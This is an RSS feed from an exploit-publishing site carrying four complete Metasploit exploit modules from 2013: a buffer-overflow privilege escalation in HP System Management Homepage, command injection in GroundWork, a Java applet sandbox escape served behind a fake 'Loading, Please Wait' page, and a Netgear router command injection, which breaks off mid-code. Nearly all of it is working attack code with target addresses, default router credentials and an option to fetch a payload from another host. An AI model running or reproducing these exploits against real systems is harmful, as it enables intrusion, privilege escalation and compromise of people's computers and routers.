<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Exploit-ID &#187; metasploit</title>
	<atom:link href="http://www.exploit-id.com/authors/metasploit/feed" rel="self" type="application/rss+xml" />
	<link>http://www.exploit-id.com</link>
	<description>Exploit Information Disclosure</description>
	<lastBuildDate>Thu, 13 Jun 2013 17:05:13 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=358</generator>
		<item>
		<title>HP System Management Homepage Local Privilege Escalation</title>
		<link>http://www.exploit-id.com/local-exploits/hp-system-management-homepage-local-privilege-escalation</link>
		<comments>http://www.exploit-id.com/local-exploits/hp-system-management-homepage-local-privilege-escalation#comments</comments>
		<pubDate>Tue, 30 Apr 2013 03:00:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Local Exploits]]></category>
		<category><![CDATA[metasploit]]></category>

		<guid isPermaLink="false">http://www.exploit-id.com/?p=10530</guid>
		<description><![CDATA[View Code LINUX## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## &#160; require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' &#160; class Metasploit4 [&#8230;]]]></description>
				<content:encoded><![CDATA[
<div class="wp_codebox_msgheader"><span class="right"></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p10530code2'); return false;">View Code</a> LINUX</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p105302"><td class="code" id="p10530code2"><pre class="linux" style="font-family:monospace;">##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
&nbsp;
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'
&nbsp;
class Metasploit4 &lt; Msf::Exploit::Local
&nbsp;
  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Common
&nbsp;
  include Msf::Exploit::Local::Linux
&nbsp;
  def initialize(info={})
    super( update_info( info, {
        'Name'          =&gt; 'HP System Management Homepage Local Privilege Escalation',
        'Description'   =&gt; %q{
            Versions of HP System Management Homepage &lt;= 7.1.2 include a setuid root
          smhstart which is vulnerable to a local buffer overflow in SSL_SHARE_BASE_DIR
          env variable.
        },
        'License'       =&gt; MSF_LICENSE,
        'Author'        =&gt;
          [
            'agix' # @agixid # Vulnerability discovery and Metasploit module
          ],
        'Platform'      =&gt; [ 'linux' ],
        'Arch'          =&gt; [ ARCH_X86 ],
        'SessionTypes'  =&gt; [ 'shell' ],
        'Payload'    =&gt;
          {
            'Space'     =&gt; 227,
            'BadChars'   =&gt; &quot;\x00\x22&quot;
          },
        'References'    =&gt;
          [
            ['OSVDB', '91990']
          ],
        'Targets'       =&gt;
          [
            [ 'HP System Management Homepage 7.1.1',
              {
                'Arch' =&gt; ARCH_X86,
                'CallEsp' =&gt; 0x080c86eb, # call esp
                'Offset' =&gt; 58
              }
            ],
            [ 'HP System Management Homepage 7.1.2',
              {
                'Arch' =&gt; ARCH_X86,
                'CallEsp' =&gt; 0x080c8b9b, # call esp
                'Offset' =&gt; 58
              }
            ],
          ],
        'DefaultOptions' =&gt;
          {
            'PrependSetuid'    =&gt; true
          },
        'DefaultTarget' =&gt; 0,
        'DisclosureDate' =&gt; &quot;Mar 30 2013&quot;,
      }
      ))
    register_options([
        OptString.new(&quot;smhstartDir&quot;, [ true, &quot;smhstart directory&quot;, &quot;/opt/hp/hpsmh/sbin/&quot; ])
      ], self.class)
  end
&nbsp;
  def exploit
    pl = payload.encoded
    padding = rand_text_alpha(target['Offset'])
    ret = [target['CallEsp']].pack('V')
    exploit =  pl
    exploit &lt;&lt; ret
    exploit &lt;&lt; &quot;\x81\xc4\x11\xff\xff\xff&quot;   # add esp, 0xffffff11
    exploit &lt;&lt; &quot;\xe9\x0e\xff\xff\xff&quot;    # jmp =&gt; begining of pl
    exploit &lt;&lt; padding
    exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better
    id=cmd_exec(&quot;id -un&quot;)
    if id!=&quot;hpsmh&quot;
      fail_with(Exploit::Failure::NoAccess, &quot;You are #{id}, you must be hpsmh to exploit this&quot;)
    end
    cmd_exec(&quot;export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)&quot;)
    cmd_exec(&quot;#{datastore['smhstartDir']}/smhstart&quot;)
  end
&nbsp;
end</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.exploit-id.com/local-exploits/hp-system-management-homepage-local-privilege-escalation/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GroundWork monarch_scan.cgi OS Command Injection</title>
		<link>http://www.exploit-id.com/remote-exploits/groundwork-monarch_scan-cgi-os-command-injection</link>
		<comments>http://www.exploit-id.com/remote-exploits/groundwork-monarch_scan-cgi-os-command-injection#comments</comments>
		<pubDate>Tue, 30 Apr 2013 02:51:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Remote Exploits]]></category>
		<category><![CDATA[metasploit]]></category>

		<guid isPermaLink="false">http://www.exploit-id.com/?p=10513</guid>
		<description><![CDATA[View Code LINUX## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## &#160; require 'msf/core' &#160; class Metasploit3 &#60; Msf::Exploit::Remote Rank = ExcellentRanking &#160; HttpFingerprint [&#8230;]]]></description>
				<content:encoded><![CDATA[
<div class="wp_codebox_msgheader"><span class="right"></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p10513code4'); return false;">View Code</a> LINUX</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p105134"><td class="code" id="p10513code4"><pre class="linux" style="font-family:monospace;">##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
&nbsp;
require 'msf/core'
&nbsp;
class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking
&nbsp;
  HttpFingerprint = { :pattern =&gt; [ /Apache-Coyote\/1\.1/ ] }
&nbsp;
  include Msf::Exploit::Remote::HttpClient
&nbsp;
  def initialize(info={})
    super(update_info(info,
      'Name'           =&gt; &quot;GroundWork monarch_scan.cgi OS Command Injection&quot;,
      'Description'    =&gt; %q{
          This module exploits a vulnerability found in GroundWork 6.7.0. This software
        is used for network, application and cloud monitoring. The vulnerability exists in
        the monarch_scan.cgi, where user controlled input is used in the perl qx function,
        which allows any remote authenticated attacker, whatever his privileges are, to
        inject system commands and gain arbitrary code execution. The module has been tested
        successfully on GroundWork 6.7.0-br287-gw1571 as distributed within the Ubuntu 10.04
        based VM appliance.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        [
          'Johannes Greil', # Vulnerability Discovery, PoC
          'juan vazquez'  # Metasploit module
        ],
      'References'     =&gt;
        [
          [ 'OSVDB', '91051' ],
          [ 'US-CERT-VU', '345260' ],
          [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130308-0_GroundWork_Monitoring_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]
        ],
      'Arch'            =&gt; ARCH_CMD,
      'Payload'        =&gt;
        {
          'Space'       =&gt; 8190,
          'DisableNops' =&gt; true,
          'Compat'          =&gt;
            {
              'PayloadType' =&gt; 'cmd'
            },
          # Based on the default Ubuntu 10.04 VM appliance
          'RequiredCmd' =&gt; 'generic telnet netcat perl python'
        },
      'Platform'       =&gt; ['unix', 'linux'],
      'Targets'        =&gt;
        [
          ['GroundWork 6.7.0', {}]
        ],
      'Privileged'     =&gt; false,
      'DisclosureDate' =&gt; &quot;Mar 8 2013&quot;,
      'DefaultTarget'  =&gt; 0))
&nbsp;
      register_options(
        [
          OptString.new('USERNAME',  [true, 'GroundWork Username', 'user']),
          OptString.new('PASSWORD',  [true, 'GroundWork Password', 'user'])
        ], self.class)
  end
&nbsp;
  def check
    res = send_request_cgi({
      'method' =&gt; 'GET',
      'uri'    =&gt; normalize_uri(&quot;josso&quot;, &quot;signon&quot;, &quot;login.do&quot;)
    })
&nbsp;
    if res and res.body =~ /GroundWork.*6\.7\.0/
      return Exploit::CheckCode::Appears
    elsif res and res.body =~ /GroundWork/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end
&nbsp;
  def get_josso_token
    res = send_request_cgi({
      'method'    =&gt; 'POST',
      'uri'       =&gt; normalize_uri(&quot;josso&quot;, &quot;signon&quot;, &quot;usernamePasswordLogin.do&quot;),
      'vars_post' =&gt; {
        'josso_cmd'      =&gt; 'login',
        'josso_username' =&gt; datastore['USERNAME'],
        'josso_password' =&gt; datastore['PASSWORD']
      }
    })
    if res and res.headers['Set-Cookie'] =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/
      return $1
    else
      return nil
    end
  end
&nbsp;
  def execute_command(command)
    http_handler = ((datastore['SSL']) ? &quot;https&quot; : &quot;http&quot;)
    res = send_request_cgi({
      'method'    =&gt; 'GET',
      'uri'       =&gt; normalize_uri(&quot;monarch&quot;, &quot;monarch_scan.cgi&quot;),
      'headers'   =&gt;
        {
          'Referer' =&gt; &quot;#{http_handler}://#{rhost}/portal/auth/portal/groundwork-monitor/auto-disc&quot;
        },
      'cookie'    =&gt; &quot;JOSSO_SESSIONID=#{@josso_id}&quot;,
      'query'     =&gt; &quot;args=#{rand_text_alpha(3)}&amp;args=#{rand_text_alpha(3)}&amp;args=#{Rex::Text.uri_encode(command + &quot;;&quot;)}&quot;
    })
    return res
  end
&nbsp;
  def exploit
    peer = &quot;#{rhost}:#{rport}&quot;
&nbsp;
    print_status(&quot;#{peer} - Attempting to login...&quot;)
    @josso_id = get_josso_token
    if @josso_id.nil?
      fail_with(Exploit::Failure::NoAccess, &quot;#{peer} - Unable to retrieve a JOSSO session ID&quot;)
    end
    print_good(&quot;#{peer} - Authentication successful&quot;)
&nbsp;
    print_status(&quot;#{peer} - Sending malicious request...&quot;)
    execute_command(payload.encoded)
  end
end</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.exploit-id.com/remote-exploits/groundwork-monarch_scan-cgi-os-command-injection/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java Applet Reflection Type Confusion Remote Code Execution</title>
		<link>http://www.exploit-id.com/remote-exploits/java-applet-reflection-type-confusion-remote-code-execution</link>
		<comments>http://www.exploit-id.com/remote-exploits/java-applet-reflection-type-confusion-remote-code-execution#comments</comments>
		<pubDate>Tue, 30 Apr 2013 02:51:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Remote Exploits]]></category>
		<category><![CDATA[metasploit]]></category>

		<guid isPermaLink="false">http://www.exploit-id.com/?p=10511</guid>
		<description><![CDATA[View Code MULTIPLE## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## &#160; require 'msf/core' require 'rex' &#160; class Metasploit3 &#60; Msf::Exploit::Remote Rank = ExcellentRanking &#160; [&#8230;]]]></description>
				<content:encoded><![CDATA[
<div class="wp_codebox_msgheader"><span class="right"></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p10511code6'); return false;">View Code</a> MULTIPLE</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p105116"><td class="code" id="p10511code6"><pre class="multiple" style="font-family:monospace;">##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
&nbsp;
require 'msf/core'
require 'rex'
&nbsp;
class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking
&nbsp;
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
&nbsp;
  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({ :javascript =&gt; false })
&nbsp;
  def initialize( info = {} )
&nbsp;
    super( update_info( info,
      'Name'          =&gt; 'Java Applet Reflection Type Confusion Remote Code Execution',
      'Description'   =&gt; %q{
          This module abuses Java Reflection to generate a Type Confusion, due to a weak
        access control when setting final fields on static classes, and run code outside of
        the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This
        exploit doesn't bypass click-to-play, so the user must accept the java warning in
        order to run the malicious applet.
      },
      'License'       =&gt; MSF_LICENSE,
      'Author'        =&gt;
        [
          'Jeroen Frijters', # Vulnerability discovery and PoC
          'juan vazquez' # Metasploit module
        ],
      'References'    =&gt;
        [
          [ 'URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0' ],
          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html' ]
        ],
      'Platform'      =&gt; [ 'java', 'win', 'osx', 'linux' ],
      'Payload'       =&gt; { 'Space' =&gt; 20480, 'BadChars' =&gt; '', 'DisableNops' =&gt; true },
      'Targets'       =&gt;
        [
          [ 'Generic (Java Payload)',
            {
              'Platform' =&gt; ['java'],
              'Arch' =&gt; ARCH_JAVA,
            }
          ],
          [ 'Windows x86 (Native Payload)',
            {
              'Platform' =&gt; 'win',
              'Arch' =&gt; ARCH_X86,
            }
          ],
          [ 'Mac OS X x86 (Native Payload)',
            {
              'Platform' =&gt; 'osx',
              'Arch' =&gt; ARCH_X86,
            }
          ],
          [ 'Linux x86 (Native Payload)',
            {
              'Platform' =&gt; 'linux',
              'Arch' =&gt; ARCH_X86,
            }
          ],
        ],
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; 'Jan 10 2013'
    ))
  end
&nbsp;
&nbsp;
  def setup
    path = File.join(Msf::Config.install_root, &quot;data&quot;, &quot;exploits&quot;, &quot;jre7u17&quot;, &quot;Exploit.class&quot;)
    @exploit_class = File.open(path, &quot;rb&quot;) {|fd| fd.read(fd.stat.size) }
    path = File.join(Msf::Config.install_root, &quot;data&quot;, &quot;exploits&quot;, &quot;jre7u17&quot;, &quot;Union1.class&quot;)
    @union1_class = File.open(path, &quot;rb&quot;) {|fd| fd.read(fd.stat.size) }
    path = File.join(Msf::Config.install_root, &quot;data&quot;, &quot;exploits&quot;, &quot;jre7u17&quot;, &quot;Union2.class&quot;)
    @union2_class = File.open(path, &quot;rb&quot;) {|fd| fd.read(fd.stat.size) }
    path = File.join(Msf::Config.install_root, &quot;data&quot;, &quot;exploits&quot;, &quot;jre7u17&quot;, &quot;SystemClass.class&quot;)
    @system_class = File.open(path, &quot;rb&quot;) {|fd| fd.read(fd.stat.size) }
&nbsp;
    @exploit_class_name = rand_text_alpha(&quot;Exploit&quot;.length)
    @exploit_class.gsub!(&quot;Exploit&quot;, @exploit_class_name)
    super
  end
&nbsp;
  def on_request_uri(cli, request)
    print_status(&quot;handling request for #{request.uri}&quot;)
&nbsp;
    case request.uri
    when /\.jar$/i
      jar = payload.encoded_jar
      jar.add_file(&quot;#{@exploit_class_name}.class&quot;, @exploit_class)
      jar.add_file(&quot;Union1.class&quot;, @union1_class)
      jar.add_file(&quot;Union2.class&quot;, @union2_class)
      jar.add_file(&quot;SystemClass.class&quot;, @system_class)
      metasploit_str = rand_text_alpha(&quot;metasploit&quot;.length)
      payload_str = rand_text_alpha(&quot;payload&quot;.length)
      jar.entries.each { |entry|
        entry.name.gsub!(&quot;metasploit&quot;, metasploit_str)
        entry.name.gsub!(&quot;Payload&quot;, payload_str)
        entry.data = entry.data.gsub(&quot;metasploit&quot;, metasploit_str)
        entry.data = entry.data.gsub(&quot;Payload&quot;, payload_str)
      }
      jar.build_manifest
&nbsp;
      send_response(cli, jar, { 'Content-Type' =&gt; &quot;application/octet-stream&quot; })
    when /\/$/
      payload = regenerate_payload(cli)
      if not payload
        print_error(&quot;Failed to generate the payload.&quot;)
        send_not_found(cli)
        return
      end
      send_response_html(cli, generate_html, { 'Content-Type' =&gt; 'text/html' })
    else
      send_redirect(cli, get_resource() + '/', '')
    end
&nbsp;
  end
&nbsp;
  def generate_html
    html  = %Q|&lt;html&gt;&lt;head&gt;&lt;title&gt;Loading, Please Wait...&lt;/title&gt;&lt;/head&gt;|
    html += %Q|&lt;body&gt;&lt;center&gt;&lt;p&gt;Loading, Please Wait...&lt;/p&gt;&lt;/center&gt;|
    html += %Q|&lt;applet archive=&quot;#{rand_text_alpha(8)}.jar&quot; code=&quot;#{@exploit_class_name}.class&quot; width=&quot;1&quot; height=&quot;1&quot;&gt;|
    html += %Q|&lt;/applet&gt;&lt;/body&gt;&lt;/html&gt;|
    return html
  end
&nbsp;
end</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.exploit-id.com/remote-exploits/java-applet-reflection-type-confusion-remote-code-execution/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Netgear DGN2200B pppoe.cgi Remote Command Execution</title>
		<link>http://www.exploit-id.com/remote-exploits/netgear-dgn2200b-pppoe-cgi-remote-command-execution</link>
		<comments>http://www.exploit-id.com/remote-exploits/netgear-dgn2200b-pppoe-cgi-remote-command-execution#comments</comments>
		<pubDate>Tue, 30 Apr 2013 02:50:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Remote Exploits]]></category>
		<category><![CDATA[metasploit]]></category>

		<guid isPermaLink="false">http://www.exploit-id.com/?p=10509</guid>
		<description><![CDATA[View Code HARDWARE## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## &#160; require 'msf/core' &#160; class Metasploit3 &#60; Msf::Exploit::Remote Rank = ManualRanking &#160; include Msf::Exploit::Remote::HttpClient [&#8230;]]]></description>
				<content:encoded><![CDATA[
<div class="wp_codebox_msgheader"><span class="right"></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p10509code8'); return false;">View Code</a> HARDWARE</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p105098"><td class="code" id="p10509code8"><pre class="hardware" style="font-family:monospace;">##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
&nbsp;
require 'msf/core'
&nbsp;
class Metasploit3 &lt; Msf::Exploit::Remote
  Rank = ManualRanking
&nbsp;
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
&nbsp;
  def initialize(info = {})
    super(update_info(info,
      'Name'        =&gt; 'Netgear DGN2200B pppoe.cgi Remote Command Execution',
      'Description' =&gt; %q{
          Some Netgear Routers are vulnerable to an authenticated OS command injection
        on their web interface. Default credentials for the web interface are admin/admin
        or admin/password. Since it is a blind os command injection vulnerability, there
        is no output for the executed command when using the cmd generic payload. A ping
        command against a controlled system could be used for testing purposes. This module
        overwrites parts of the PPOE configuration, while the module tries to restore it
        after exploitation configuration backup is recommended.
      },
      'Author'      =&gt;
        [
          'Michael Messner &lt;devnull@s3cur1ty.de&gt;', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
      'License'     =&gt; MSF_LICENSE,
      'References'  =&gt;
        [
          [ 'BID', '57998' ],
          [ 'EDB', '24513' ],
          [ 'OSVDB', '90320' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-015' ]
        ],
      'DisclosureDate' =&gt; 'Feb 15 2013',
      'Privileged'     =&gt; true,
      'Platform'       =&gt; ['linux','unix'],
      'Payload'        =&gt;
        {
          'DisableNops' =&gt; true
        },
      'Targets'        =&gt;
        [
          [ 'CMD',
            {
            'Arch' =&gt; ARCH_CMD,
            'Platform' =&gt; 'unix'
            }
          ],
          [ 'Linux mipsbe Payload',
            {
            'Arch' =&gt; ARCH_MIPSBE,
            'Platform' =&gt; 'linux'
            }
          ],
        ],
      'DefaultTarget'  =&gt; 1,
      ))
&nbsp;
    register_options(
      [
        OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
        OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
        OptInt.new('RELOAD_CONF_DELAY', [true, 'Time to wait to allow the remote device to load configuration', 45])
      ], self.class)
  end
&nbsp;
  def get_config(config, pattern)
    if config =~ /#{pattern}/
      #puts &quot;[*] #{$1}&quot;  #debugging
      return $1
    end
    return &quot;&quot;
  end
&nbsp;
  def grab_config(user,pass)
    print_status(&quot;#{rhost}:#{rport} - Trying to download the original configuration&quot;)
    begin
      res = send_request_cgi({
        'uri'     =&gt; '/BAS_pppoe.htm',
        'method'  =&gt; 'GET',
        'authorization' =&gt; basic_auth(user,pass)
      })
      if res.nil? or res.code == 404
        fail_with(Exploit::Failure::NoAccess, &quot;#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}&quot;)
      end
      if [200, 301, 302].include?(res.code)
        if res.body =~ /pppoe_username/
          print_good(&quot;#{rhost}:#{rport} - Successfully downloaded the configuration&quot;)
        else
          fail_with(Exploit::Failure::NoAccess, &quot;#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported&quot;)
        end
      else
        fail_with(Exploit::Failure::NoAccess, &quot;#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}&quot;)
      end
    rescue ::Rex::ConnectionError
      fail_with(Exploit::Failure::Unreachable, &quot;#{rhost}:#{rport} - Failed to connect to the web server&quot;)
    end
&nbsp;
    @pppoe_username_orig = get_config(res.body, &quot;&lt;td\ align=\&quot;right\&quot;&gt;&lt;input\ type=\&quot;text\&quot;\ name=\&quot;pppoe_username\&quot;\ size=\&quot;15\&quot;\ maxlength=\&quot;63\&quot;\ value=\&quot;(.*)\&quot;&gt;&lt;\/td&quot;)
    @pppoe_passwd_orig = get_config(res.body, &quot;&lt;td\ align=\&quot;right\&quot;&gt;&lt;input\ type=\&quot;password\&quot;\ name=\&quot;pppoe_passwd\&quot;\ size=\&quot;15\&quot;\ maxlength=\&quot;63\&quot;\ value=\&quot;(.*)\&quot;&gt;&lt;\/td&quot;)
    @pppoe_servicename_orig = get_config(res.body, &quot;&lt;td\ align=\&quot;right\&quot;&gt;&lt;input\ type=\&quot;text\&quot;\ name=\&quot;pppoe_servicename\&quot;\ maxlength=\&quot;63\&quot;\ size=\&quot;15\&quot;\ value=\&quot;(.*)\&quot;&gt;&lt;\/td&quot;)
&nbsp;
    @runtest_orig = get_config(res.body, &quot;&lt;input\ type=\&quot;hidden\&quot;\ name=\&quot;runtest\&quot;\ value=\&quot;(.*)\&quot;&gt;&quot;)
    @wan_ipaddr_orig = get_config(res.body, &quot;&lt;INPUT\ name=wan_ipaddr\ type=hidden\ value=\ \&quot;(.*)\&quot;&gt;&quot;)
    @pppoe_localip_orig = get_config(res.body, &quot;&lt;INPUT\ name=pppoe_localip\ type=hidden\ value=\ \&quot;(.*)\&quot;&gt;&quot;)
    @wan_dns_sel_orig = get_config(res.body, &quot;&lt;INPUT\ name=wan_dns_sel\ type=hidden\ value=\ \&quot;(.*)\&quot;&gt;&quot;)
    @wan_dns1_pri_orig = get_config(res.body, &quot;&lt;INPUT\ name=wan_dns1_pri\ type=hidden\ value=\ \&quot;(.*)\&quot;&gt;&quot;)
    @wan_dns1_sec_orig = get_config(res.body, &quot;&lt;INPUT\ name=wan_dns1_sec\ type=hidden\ value=\ \&quot;(.*)\&quot;&gt;&quot;)
    @wan_hwaddr_sel_orig = get_config(res.body, &quot;&lt;INPUT\ name=wan_hwaddr_sel\ type=hidden\ value=\ \&quot;(.*)\&quot;&gt;&quot;)
    @wan_hwaddr_def_orig = get_config(res.body, &quot;&lt;INPUT\ name=wan_hwaddr_def\ type=hidden\ value=\ \&quot;(.*)\&quot;&gt;&quot;)
    @wan_hwaddr2_orig = get_config(res.body, &quot;&lt;INPUT\ name=wan_hwaddr2\ type=hidden\ value=\ \&quot;(.*)\&quot;&gt;&quot;)
    @wan_hwaddr_pc_orig = get_config(res.body, &quot;&lt;INPUT\ name=wan_hwaddr_pc\ type=hidden\ value=\ \&quot;(.*)\&quot;&gt;&quot;)
    @wan_nat_orig = get_config(res.body, &quot;&lt;INPUT\ name=wan_nat\ type=hidden\ value=\ \&quot;(.*)\&quot;&gt;&quot;)
    @opendns_parental_ctrl_orig = get_config(res.body, &quot;&lt;INPUT\ name=opendns_parental_ctrl\ type=hidden\ value=\ \&quot;(.*)\&quot;&gt;&quot;)
    @pppoe_flet_sel_orig = get_config(res.body, &quot;&lt;INPUT\ name=pppoe_flet_sel\ type=hidden\ value=\ \&quot;(.*)\&quot;&gt;&quot;)
    @pppoe_flet_type_orig = get_config(res.body, &quot;&lt;INPUT\ name=pppoe_flet_type\ type=hidden\ value=\ \&quot;(.*)\&quot;&gt;&quot;)
    @pppoe_temp_orig = get_config(res.body, &quot;&lt;INPUT\ name=pppoe_temp\ type=hidden\ value=\ \&quot;(.*)\&quot;&gt;&quot;)
    @apply_orig = get_config(res.body, &quot;&lt;input\ type=\&quot;SUBMIT\&quot;\ name=\&quot;apply\&quot;\ value=(.*)\ onClick=\&quot;return\ checkData\(\)\&quot;&gt;&quot;)
  end
&nbsp;
  def restore_conf(user,pass,uri)
    # we have used most parts of the original configuration
    # just need to restore pppoe_username
    cmd = @pppoe_username_orig
    print_status(&quot;#{rhost}:#{rport} - Asking the Netgear device to reload original configuration&quot;)
&nbsp;
    res = request(cmd,user,pass,uri)
&nbsp;
    if (!res)
      fail_with(Exploit::Failure::Unknown, &quot;#{rhost}:#{rport} - Unable to reload original configuration&quot;)
    end
&nbsp;
    print_status(&quot;#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration&quot;)
    select(nil, nil, nil, @timeout)
  end
&nbsp;
  def request(cmd,user,pass,uri)
    begin
&nbsp;
    #original post request
    #login_type=PPPoE%28PPP+over+Ethernet%29&amp;pppoe_username=%26%20COMMAND%20%26
    #&amp;pppoe_passwd=69cw20hb&amp;pppoe_servicename=&amp;pppoe_dod=1&amp;pppoe_idletime=5
    #&amp;WANAssign=Dynamic&amp;DNSAssign=0&amp;en_nat=1&amp;MACAssign=0&amp;apply=%C3%9Cbernehmen
    #&amp;runtest=yes&amp;wan_ipaddr=0.0.0.0&amp;pppoe_localip=0.0.0.0&amp;wan_dns_sel=0
    #&amp;wan_dns1_pri=0.0.0.0&amp;wan_dns1_sec=...&amp;wan_hwaddr_sel=0
    #&amp;wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&amp;wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05
    #&amp;wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&amp;wan_nat=1&amp;opendns_parental_ctrl=0
    #&amp;pppoe_flet_sel=&amp;pppoe_flet_type=&amp;pppoe_temp=&amp;opendns_parental_ctrl=0
      res = send_request_cgi(
        {
          'uri'  =&gt; uri,
          'method' =&gt; 'POST',
          'authorization' =&gt; basic_auth(user,pass),
          'encode_params' =&gt; false,
          'vars_post' =&gt; {
            &quot;login_type&quot; =&gt; &quot;PPPoE%28PPP+over+Ethernet%29&quot;,#default must be ok
            &quot;pppoe_username&quot; =&gt; cmd,
            &quot;pppoe_passwd&quot; =&gt; @pppoe_passwd_orig,
            &quot;pppoe_servicename&quot; =&gt; @pppoe_servicename_orig,
            &quot;pppoe_dod&quot; =&gt; &quot;1&quot;,    #default must be ok
            &quot;pppoe_idletime&quot; =&gt; &quot;5&quot;,  #default must be ok
            &quot;WANAssign&quot; =&gt; &quot;Dynamic&quot;,  #default must be ok
            &quot;DNSAssign&quot; =&gt; &quot;0&quot;,    #default must be ok
            &quot;en_nat&quot; =&gt; &quot;1&quot;,    #default must be ok
            &quot;MACAssign&quot; =&gt; &quot;0&quot;,    #default must be ok
            &quot;apply&quot; =&gt; @apply_orig,
            &quot;runtest&quot; =&gt; @runtest_orig,
            &quot;wan_ipaddr&quot; =&gt; @wan_ipaddr_orig,
            &quot;pppoe_localip&quot; =&gt; @pppoe_localip_orig,
            &quot;wan_dns_sel&quot; =&gt; @wan_dns_sel_orig,
            &quot;wan_dns1_pri&quot; =&gt; @wan_dns1_pri_orig,
            &quot;wan_dns1_sec&quot; =&gt; @wan_dns1_sec_orig,
            &quot;wan_hwaddr_sel&quot; =&gt; @wan_hwaddr_sel_orig,
            &quot;wan_hwaddr_def&quot; =&gt; @wan_hwaddr_def_orig,
            &quot;wan_hwaddr2&quot; =&gt; @wan_hwaddr2_orig,
            &quot;wan_hwaddr_pc&quot; =&gt; @wan_hwaddr_pc_orig,
            &quot;wan_nat&quot; =&gt; @wan_nat_orig,
            &quot;opendns_parental_ctrl&quot; =&gt; @opendns_parental_ctrl_orig,
